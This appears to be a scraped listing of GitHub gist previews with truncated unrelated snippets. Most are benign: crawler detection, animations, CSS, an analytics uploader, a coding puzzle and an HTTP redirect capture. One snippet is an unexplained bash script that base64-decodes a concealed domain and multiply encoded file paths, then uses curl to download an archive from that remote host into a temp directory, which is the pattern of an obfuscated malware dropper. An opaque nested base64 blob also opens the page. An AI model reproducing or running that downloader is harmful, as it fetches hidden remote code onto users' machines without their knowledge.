This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Vm1wR1lWWXlTWGhXV0dST1ZsZG9WbGxVU2pSV2JGcHlWMjVrVldKSVFsaFdWelZMWWtkS1NWRnJXbGRTZWtZeldWUkdZV1JGT1ZWV2JGWk9WakpvYjFZeFdsWmxSMUpZVW10c1ZXSkdXbFJhVjNSaFZWWmtjbGt6YUZSTlZuQkhWREZXVjFSc1NrVlJWR3M5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function isCrawler() { | |
if(ini_get('browscap')) { | |
$browser= get_browser(NULL, true); | |
if($browser['crawler']) { | |
return true; | |
} | |
} else if (isset($_SERVER['HTTP_USER_AGENT'])){ | |
$agent= $_SERVER['HTTP_USER_AGENT']; | |
$crawlers= array( | |
"/Googlebot/", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var decodeUnicode = function(str) { | |
str = str.replace(/\\u/gi, "%u"); | |
return unescape(str); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
var pi = Math.PI; | |
var pi2 = 2 * Math.PI; | |
this.Waves = function (holder, options) { | |
var Waves = this; | |
Waves.options = extend(options || {}, { | |
resize: false, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Copyright 2018 The Chromium Authors. All rights reserved. | |
* Use of this source code is governed by a BSD-style license that can be | |
* found in the LICENSE file. */ | |
body { | |
overflow: hidden; | |
} | |
.mouse-navigation { | |
outline: none; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
class Uploader { | |
constructor(t, e) { | |
(this.host = "https://wxapi.growingio.com"), | |
(this.messageQueue = []), | |
(this.uploadingQueue = []), | |
(this.uploadTimer = null), | |
(this.projectId = t), | |
(this.appId = e), | |
(this.url = `${this.host}/projects/${this.projectId}/apps/${ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dlDomain="$(echo "bGtlb3IucGVuZ3VpbmNoYXJtLndpbgo=" | openssl base64 -d -A)" | |
dlPath="$(echo "c2RsCg==" | openssl base64 -d -A)" | |
dir="${TMPDIR}/$(echo "bW1zdG1wCg==" | openssl base64 -d -A)" | |
dlUrl="http://${dlDomain}/${dlPath}/$(echo "WWxjeFZHUklWbWxNYmxKb1kyazFibVZuYnowSwo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)?ts=$(date +%s)" | |
binPath="${dir}/$(echo "WWxjd2RHRlhOWHBrUjBaellrTXhkRmxYVG5aamVUVm9ZMGhCZGxFeU9YVmtSMVoxWkVoTmRsUlhSbXBVTVUxMllsY3dkR0ZYTlhwa1IwWnpZa014ZEZsWFRuWmpkMjg5Q2c9PQo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)" | |
rm -rf "${dir}" | |
mkdir -p "${dir}" | |
curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
858. Candy Crush | |
This question is about implementing a basic elimination algorithm for Candy Crush. | |
Given a 2D integer array board representing the grid of candy, different positive integers board[i][j] represent different types of candies. A value of board[i][j] = 0 represents that the cell at position (i, j) is empty. The given board represents the state of the game following the player's move. Now, you need to restore the board to a stable state by crushing candies according to the following rules: | |
If three or more candies of the same type are adjacent vertically or horizontally, "crush" them all at the same time - these positions become empty. | |
After crushing all candies simultaneously, if an empty space on the board has candies on top of itself, then these candies will drop until they hit a candy or bottom at the same time. (No new candies will drop outside the top boundary.) | |
After the above steps, there may exist more candies that can be crushed. If so, you need to repeat the above steps. | |
If there does |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://weibo.com/doamin | |
https://login.sina.com.cn/sso/login.php?url=https%3A%2F%2Fweibo.com%2F328765211&_rand=1533906258.5319&gateway=1&service=miniblog&entry=miniblog&useticket=1&returntype=META&_client_version=0.6.28 | |
HTTP/1.1 302 Moved Temporarily | |
Server: nginx/1.6.1 | |
Date: Fri, 10 Aug 2018 13:04:21 GMT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function e() { | |
var e = document.documentElement.offsetWidth || document.body.offsetWidth; | |
document.getElementsByTagName("html")[0].style.fontSize = e / 3.6 + "px" | |
} |